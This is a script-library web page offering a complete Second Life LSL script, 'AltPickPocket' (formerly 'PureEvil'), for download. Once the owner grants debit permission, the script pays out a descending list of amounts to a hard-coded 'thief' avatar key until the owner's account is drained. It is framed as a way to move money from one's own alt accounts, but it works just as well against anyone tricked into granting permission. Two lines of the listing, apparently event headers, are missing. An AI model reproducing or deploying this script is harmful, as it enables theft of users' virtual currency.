Join us in Outworldz at www.outworldz.com:9000 or follow us:

Search dozens of selected web sites for OpenSim and LSL script

New! Script Meta-Search will search thousands of scripts here and at other sites for LSL or Opensim scripts.
Loading

Want to add a script or a project? Upload it and a half million people will see it and your name here this year.

Home   Show All
Category: Contributor: Creator
Pick Pocket AltPickPocket  

AltPickPocket

AltPickPocket.lsl

Category: Pick Pocket
By : Mitzpatrick Fitzsimmons
Created: 2010-01-10 Edited: 2010-01-10
Worlds: Second Life

the Zip file

Download all files for AltPickPocket
Contents are in zip format, with .LSL (text) source code and LSLEdit (text + Solution) formats.
Get file # 1. AltPickPocket_1.lsl
1
2
3 //-----------------------------------------------------------------------------------
4 // AltPickPocket Script C 2005-2007
5 // Formerly Known as PureEvil
6 // By Mitzpatrick Fitzsimmons
7 //-----------------------------------------------------------------------------------
8
9 //this script was made initially for the purpose of keeping an ATM type object that would allow you to take the $L from your Alt's accounts
10 //at will, without the need to log out and log the Alt in and make a manual payment.
11
12 //----------------------------DISCLAIMER!--------------------------------------------
13 // This script will take money from the person that owns the object it is in
14 // ONLY IF that owner accepts the PERMISSION_DEBIT.
15
16 // The UUID of the "thief" variable is to whom the money is paid to.
17 // I accept no responsability for the USE or MISUSE of this script.
18 // As with anything in SL, make sure you know what you are doing before you do it.
19 //-----------------------------------------------------------------------------------
20
21 key thief = "00000000-0000-0000-0000-000000000000"; // Insert the key of the person who is going to get the money here.
22 list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.
23
24 // The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental
25 // amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
26 // owners account than is in the largest list amount).
27 pay ()
28 {
29 integer m = llGetListLength(ammount);
30 integer i = 0;
31 while(i<m)
32 {
33 llGiveMoney(thief,llList2Integer(ammount,i));
34 i++;
35 }
36 }
37
38 default
39 {
40 on_rez(integer number)
41 {
42 llResetScript(); // Make sure Ownership Changes properly.
43 }
44
46 {
47 llSetObjectName("AltPickPocket"); // Set the Object Name
48 llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.
49 }
50
51 touch_start(integer total_number)
52 {
53 if(llDetectedKey(0) == thief) // if the thief is touching the object
54 {
55 llSay(0, "You are the Authorized."); // Tell them they are Authorized
56 pay(); // Then Pay them
57 }
58
59 else
60 { // If it is not the thief touching the object
61 llSay(0, "You are NOT Authorized!"); // then deny them
62 }
63 }
64
66 {
67 if(number >0)
68 {
69 llOwnerSay("Activated!");
70 llSetColor(<0,1,0>, ALL_SIDES);
71 llSetText("Active",<0,1,0>,1);
72 }
73
74 else
75 {
76 llSay(0, "PickPocket has no permissions");
77 llSetColor(<1,0,0>, ALL_SIDES);
78 llSetText("InActive",<1,0,0>,1);
79 }
80 }
81 } // end

Back to the Best Free Tools in Second Life and OpenSim.